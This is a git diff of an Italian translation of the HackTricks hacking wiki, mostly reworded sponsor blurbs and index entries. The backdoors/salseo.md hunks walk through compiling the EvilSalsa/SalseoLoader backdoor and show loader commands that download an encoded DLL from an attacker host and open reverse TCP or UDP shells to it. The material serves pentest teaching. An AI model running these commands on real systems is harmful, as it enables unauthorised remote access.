Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat
After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 8.1 KiB |
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 51 KiB |
Before Width: | Height: | Size: 51 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 322 KiB |
Before Width: | Height: | Size: 322 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 176 KiB |
Before Width: | Height: | Size: 176 KiB After Width: | Height: | Size: 152 KiB |
Before Width: | Height: | Size: 152 KiB After Width: | Height: | Size: 31 KiB |
Before Width: | Height: | Size: 31 KiB After Width: | Height: | Size: 71 KiB |
Before Width: | Height: | Size: 71 KiB After Width: | Height: | Size: 65 KiB |
Before Width: | Height: | Size: 65 KiB After Width: | Height: | Size: 42 KiB |
Before Width: | Height: | Size: 42 KiB After Width: | Height: | Size: 43 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 175 KiB |
Before Width: | Height: | Size: 175 KiB After Width: | Height: | Size: 5.5 KiB |
After Width: | Height: | Size: 94 KiB |
Before Width: | Height: | Size: 94 KiB After Width: | Height: | Size: 199 KiB |
Before Width: | Height: | Size: 199 KiB After Width: | Height: | Size: 145 KiB |
Before Width: | Height: | Size: 145 KiB After Width: | Height: | Size: 1.2 MiB |
Before Width: | Height: | Size: 1.2 MiB After Width: | Height: | Size: 100 KiB |
Before Width: | Height: | Size: 100 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 121 KiB |
Before Width: | Height: | Size: 121 KiB After Width: | Height: | Size: 7 KiB |
Before Width: | Height: | Size: 7 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 60 KiB |
Before Width: | Height: | Size: 60 KiB After Width: | Height: | Size: 223 KiB |
Before Width: | Height: | Size: 223 KiB After Width: | Height: | Size: 27 KiB |
Before Width: | Height: | Size: 27 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 90 KiB |
Before Width: | Height: | Size: 90 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 172 KiB |
Before Width: | Height: | Size: 172 KiB After Width: | Height: | Size: 10 KiB |
After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 19 KiB After Width: | Height: | Size: 78 KiB |
Before Width: | Height: | Size: 78 KiB After Width: | Height: | Size: 38 KiB |
Before Width: | Height: | Size: 38 KiB After Width: | Height: | Size: 795 KiB |
Before Width: | Height: | Size: 795 KiB After Width: | Height: | Size: 104 KiB |
Before Width: | Height: | Size: 104 KiB After Width: | Height: | Size: 17 KiB |
Before Width: | Height: | Size: 17 KiB After Width: | Height: | Size: 68 KiB |
Before Width: | Height: | Size: 68 KiB After Width: | Height: | Size: 154 KiB |
Before Width: | Height: | Size: 154 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 14 KiB |
Before Width: | Height: | Size: 14 KiB After Width: | Height: | Size: 53 KiB |
Before Width: | Height: | Size: 53 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 1 MiB |
Before Width: | Height: | Size: 1 MiB After Width: | Height: | Size: 407 KiB |
Before Width: | Height: | Size: 407 KiB After Width: | Height: | Size: 74 KiB |
59
README.md
|
@ -5,7 +5,7 @@
|
|||
_Loghi e motion design di Hacktricks di_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
{% hint style="success" %}
|
||||
**Benvenuti nella wiki dove troverai ogni trucco/tecnica di hacking/o qualsiasi altra cosa che ho imparato dai CTF, dalle app della vita reale, dalla lettura di ricerche e notizie.**
|
||||
**Benvenuti nella wiki dove troverai ogni trucco/tecnica di hacking/o qualsiasi altra cosa che ho imparato da CTF, app della vita reale, ricerche e notizie.**
|
||||
{% endhint %}
|
||||
|
||||
Per iniziare, segui questa pagina dove troverai il **flusso tipico** che **dovresti seguire durante il pentesting** di una o più **macchine:**
|
||||
|
@ -20,11 +20,11 @@ Per iniziare, segui questa pagina dove troverai il **flusso tipico** che **dovre
|
|||
|
||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) è una grande azienda di cybersecurity il cui slogan è **HACK THE UNHACKABLE**. Svolgono la propria ricerca e sviluppano i propri strumenti di hacking per **offrire diversi servizi di cybersecurity** come pentesting, Red team e formazione.
|
||||
[**STM Cyber**](https://www.stmcyber.com) è una grande azienda di sicurezza informatica il cui slogan è **HACK THE UNHACKABLE**. Svolgono ricerche proprie e sviluppano i propri strumenti di hacking per **offrire diversi servizi di sicurezza informatica** come pentesting, Red team e formazione.
|
||||
|
||||
Puoi controllare il loro **blog** su [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||
|
||||
**STM Cyber** supporta anche progetti open source di cybersecurity come HackTricks :)
|
||||
**STM Cyber** supporta anche progetti open source di sicurezza informatica come HackTricks :)
|
||||
|
||||
***
|
||||
|
||||
|
@ -32,7 +32,7 @@ Puoi controllare il loro **blog** su [**https://blog.stmcyber.com**](https://blo
|
|||
|
||||
<figure><img src=".gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro bollente per i professionisti della tecnologia e della cybersecurity in ogni disciplina.
|
||||
[**RootedCON**](https://www.rootedcon.com) è l'evento di sicurezza informatica più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro bollente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -40,11 +40,11 @@ Puoi controllare il loro **blog** su [**https://blog.stmcyber.com**](https://blo
|
|||
|
||||
### [Intigriti](https://www.intigriti.com)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** è la piattaforma di ethical hacking **numero 1 in Europa** e di **bug bounty**.
|
||||
|
||||
**Consiglio bug bounty**: **iscriviti** a **Intigriti**, una piattaforma premium di **bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi e inizia a guadagnare taglie fino a **$100,000**!
|
||||
**Consiglio bug bounty**: **iscriviti** a **Intigriti**, una piattaforma di **bug bounty premium creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi e inizia a guadagnare taglie fino a **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -52,10 +52,10 @@ Puoi controllare il loro **blog** su [**https://blog.stmcyber.com**](https://blo
|
|||
|
||||
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.
|
||||
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
|
@ -73,10 +73,10 @@ Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmw
|
|||
Coinvolgiti con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
||||
|
||||
**Notizie sull'hacking in tempo reale**\
|
||||
Resta aggiornato con il mondo dell'hacking in tempo reale attraverso notizie e approfondimenti
|
||||
Resta aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
|
||||
|
||||
**Ultimi annunci**\
|
||||
Resta informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
|
||||
**Ultime notizie**\
|
||||
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
|
||||
|
||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi!
|
||||
|
||||
|
@ -84,14 +84,32 @@ Resta informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali de
|
|||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/) - Il kit di strumenti essenziale per il penetration testing
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Setup immediatamente disponibile per la valutazione delle vulnerabilità e il penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
||||
**Setup immediatamente disponibile per la valutazione delle vulnerabilità e il penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, popolare shell e divertirsi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
***
|
||||
|
||||
### [SerpApi](https://serpapi.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SerpApi offre API in tempo reale veloci e facili per **accedere ai risultati dei motori di ricerca**. Raschiano i motori di ricerca, gestiscono proxy, risolvono captcha e analizzano tutti i dati strutturati ricchi per te.
|
||||
|
||||
Una sottoscrizione a uno dei piani di SerpApi include l'accesso a oltre 50 diverse API per raschiare diversi motori di ricerca, tra cui Google, Bing, Baidu, Yahoo, Yandex e altri.
|
||||
|
||||
A differenza di altri fornitori, SerpApi non si limita a raschiare i risultati organici. Le risposte di SerpApi includono costantemente tutti gli annunci, immagini e video inline, grafici di conoscenza e altri elementi e funzionalità presenti nei risultati di ricerca.
|
||||
|
||||
Tra i clienti attuali di SerpApi ci sono Apple, Shopify e GrubHub.
|
||||
|
||||
Per ulteriori informazioni consulta il loro [blog](https://serpapi.com/blog/)**,** o prova un esempio nel loro [**playground**](https://serpapi.com/playground)**.**
|
||||
|
||||
Puoi **creare un account gratuito** [**qui**](https://serpapi.com/users/sign\_up)**.**
|
||||
|
||||
***
|
||||
|
||||
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
||||
|
||||
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -104,16 +122,15 @@ Resta informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali de
|
|||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) è una società di cybersecurity professionale con sede ad **Amsterdam** che aiuta a **proteggere** le imprese **in tutto il mondo** contro le ultime minacce di cybersecurity fornendo servizi di **offensive-security** con un approccio **moderno**.
|
||||
[**WebSec**](https://websec.nl) è una società di sicurezza informatica professionale con sede ad **Amsterdam** che aiuta a **proteggere** le imprese **in tutto il mondo** contro le ultime minacce alla sicurezza informatica fornendo servizi di **sicurezza offensiva** con un **approccio moderno**.
|
||||
|
||||
WebSec è una società di sicurezza **all-in-one**, il che significa che fanno tutto; Pentesting, Audit di Sicurezza, Formazioni sulla Consapevolezza, Campagne di Phishing, Revisione del Codice, Sviluppo di Exploit, Outsourcing di Esperti di Sicurezza e molto altro.
|
||||
WebSec è una società di sicurezza **all-in-one**, il che significa che fanno tutto; Pentesting, **Audits di Sicurezza**, Formazioni sulla Consapevolezza, Campagne di Phishing, Revisione del Codice, Sviluppo di Exploit, Outsourcing di Esperti di Sicurezza e molto altro.
|
||||
|
||||
Un'altra cosa interessante su WebSec è che, a differenza della media del settore, WebSec è **molto sicura delle proprie competenze**, al punto che **garantisce i migliori risultati di qualità**, si legge sul loro sito "**Se non possiamo hackerarlo, non lo paghi!**". Per ulteriori informazioni dai un'occhiata al loro [**sito web**](https://websec.nl/en/) e al [**blog**](https://websec.nl/blog/)!
|
||||
Un'altra cosa interessante su WebSec è che, a differenza della media del settore, WebSec è **molto sicura delle proprie competenze**, al punto che **garantisce i migliori risultati di qualità**, si legge sul loro sito web "**Se non possiamo hackerarlo, non lo paghi!**". Per ulteriori informazioni dai un'occhiata al loro [**sito web**](https://websec.nl/en/) e al [**blog**](https://websec.nl/blog/)!
|
||||
|
||||
Oltre a quanto sopra, WebSec è anche un **sostenitore impegnato di HackTricks.**
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
|
||||
## Licenza e Avvertenza
|
||||
|
||||
**Controllale in:**
|
||||
|
@ -124,14 +141,14 @@ Oltre a quanto sopra, WebSec è anche un **sostenitore impegnato di HackTricks.*
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
|
20
SUMMARY.md
|
@ -695,20 +695,26 @@
|
|||
* [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md)
|
||||
* [Stack Overflow](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md)
|
||||
* [ROP - Return Oriented Programing](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md)
|
||||
* [Ret2Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2shellcode.md)
|
||||
* [Ret2lib](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md)
|
||||
* [Leaking libc address with ROP](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md)
|
||||
* [Leaking libc - template](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
|
||||
* [Stack Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md)
|
||||
* [EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ebp2ret-ebp-chaining.md)
|
||||
* [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md)
|
||||
* [Ret2ret](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md)
|
||||
* [Ret2syscall](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md)
|
||||
* [Format Strings](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md)
|
||||
* [Format Strings Template](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md)
|
||||
* [Common Binary Protections](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md)
|
||||
* [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/relro.md)
|
||||
* [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md)
|
||||
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md)
|
||||
* [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md)
|
||||
* [ELF Tricks](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
|
||||
* [Format Strings Template](exploiting/linux-exploiting-basic-esp/format-strings-template.md)
|
||||
* [ROP - Leaking LIBC address](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md)
|
||||
* [ROP - Leaking LIBC template](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md)
|
||||
* [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md)
|
||||
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
* [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
|
||||
* [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md)
|
||||
* [Ret2Lib](exploiting/linux-exploiting-basic-esp/ret2lib.md)
|
||||
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
|
||||
* [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md)
|
||||
* [Exploiting Tools](exploiting/tools/README.md)
|
||||
* [PwnTools](exploiting/tools/pwntools.md)
|
||||
* [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
|
|
|
@ -10,19 +10,19 @@ Altri modi per supportare HackTricks:
|
|||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Compilazione dei binari
|
||||
## Compilare i binari
|
||||
|
||||
Scarica il codice sorgente da github e compila **EvilSalsa** e **SalseoLoader**. Avrai bisogno di **Visual Studio** installato per compilare il codice.
|
||||
|
||||
Compila quei progetti per l'architettura della finestra di Windows dove li utilizzerai (Se Windows supporta x64, compilali per quell'architettura).
|
||||
Compila quei progetti per l'architettura della macchina Windows dove li utilizzerai (Se Windows supporta x64, compilali per quell'architettura).
|
||||
|
||||
Puoi **selezionare l'architettura** all'interno di Visual Studio nella **scheda "Build"** a sinistra in **"Platform Target".**
|
||||
|
||||
(\*\*Se non riesci a trovare queste opzioni premi su **"Project Tab"** e poi su **"\<Project Name> Properties"**)
|
||||
(\*\*Se non trovi queste opzioni premi su **"Project Tab"** e poi su **"\<Project Name> Properties"**)
|
||||
|
||||
![](<../.gitbook/assets/image (132).png>)
|
||||
|
||||
|
@ -30,7 +30,7 @@ Quindi, compila entrambi i progetti (Build -> Build Solution) (All'interno dei l
|
|||
|
||||
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
|
||||
|
||||
## Prepara il Backdoor
|
||||
## Preparare il Backdoor
|
||||
|
||||
Prima di tutto, dovrai codificare il **EvilSalsa.dll.** Per farlo, puoi utilizzare lo script python **encrypterassembly.py** o puoi compilare il progetto **EncrypterAssembly**:
|
||||
|
||||
|
@ -52,7 +52,7 @@ Ora hai tutto il necessario per eseguire tutto il Salseo: il **EvilDalsa.dll cod
|
|||
|
||||
### **Ottenere una shell TCP inversa (scaricando la dll codificata tramite HTTP)**
|
||||
|
||||
Ricorda di avviare un nc come listener della shell inversa e un server HTTP per servire il male codificato.
|
||||
Ricorda di avviare un nc come listener per la shell inversa e un server HTTP per servire il evilsalsa codificato.
|
||||
```
|
||||
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
|
||||
```
|
||||
|
@ -62,7 +62,7 @@ Ricorda di avviare un nc come listener della shell inversa e un server SMB per s
|
|||
```
|
||||
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
||||
```
|
||||
### **Ottenere una shell inversa ICMP (dll già codificata all'interno della vittima)**
|
||||
### **Ottenere una shell inversa ICMP (dll codificata già all'interno della vittima)**
|
||||
|
||||
**Questa volta è necessario uno strumento speciale nel client per ricevere la shell inversa. Scarica:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
|
||||
|
@ -87,13 +87,13 @@ Apri il progetto SalseoLoader usando Visual Studio.
|
|||
|
||||
### Aggiungi prima della funzione principale: \[DllExport]
|
||||
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### Installa DllExport per questo progetto
|
||||
|
||||
#### **Strumenti** --> **Gestione pacchetti NuGet** --> **Gestisci pacchetti NuGet per la soluzione...**
|
||||
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **Cerca il pacchetto DllExport (usando la scheda Sfoglia) e premi Installa (e accetta il popup)**
|
||||
|
||||
|
@ -117,7 +117,7 @@ Seleziona **x64** (se lo utilizzerai all'interno di una casella x64, come nel mi
|
|||
|
||||
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
|
||||
|
||||
### **Apri nuovamente il progetto con Visual Studio**
|
||||
### **Apri di nuovo il progetto con Visual Studio**
|
||||
|
||||
**\[DllExport]** non dovrebbe più essere segnato come errore
|
||||
|
||||
|
@ -147,7 +147,7 @@ Se non appare alcun errore, probabilmente hai una DLL funzionale!!
|
|||
|
||||
## Ottenere una shell utilizzando la DLL
|
||||
|
||||
Non dimenticare di utilizzare un **server HTTP** e impostare un **ascoltatore nc**
|
||||
Non dimenticare di utilizzare un **server HTTP** e impostare un **listener nc**
|
||||
|
||||
### Powershell
|
||||
```
|
||||
|
@ -177,7 +177,7 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,10 +14,10 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** alimentati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -26,7 +26,7 @@ Ottieni l'accesso oggi:
|
|||
|
||||
Un **certificato di chiave pubblica** è un'identità digitale utilizzata in crittografia per dimostrare che qualcuno possiede una chiave pubblica. Include i dettagli della chiave, l'identità del proprietario (il soggetto) e una firma digitale da un'autorità fidata (l'emittente). Se il software si fida dell'emittente e la firma è valida, è possibile comunicare in modo sicuro con il proprietario della chiave.
|
||||
|
||||
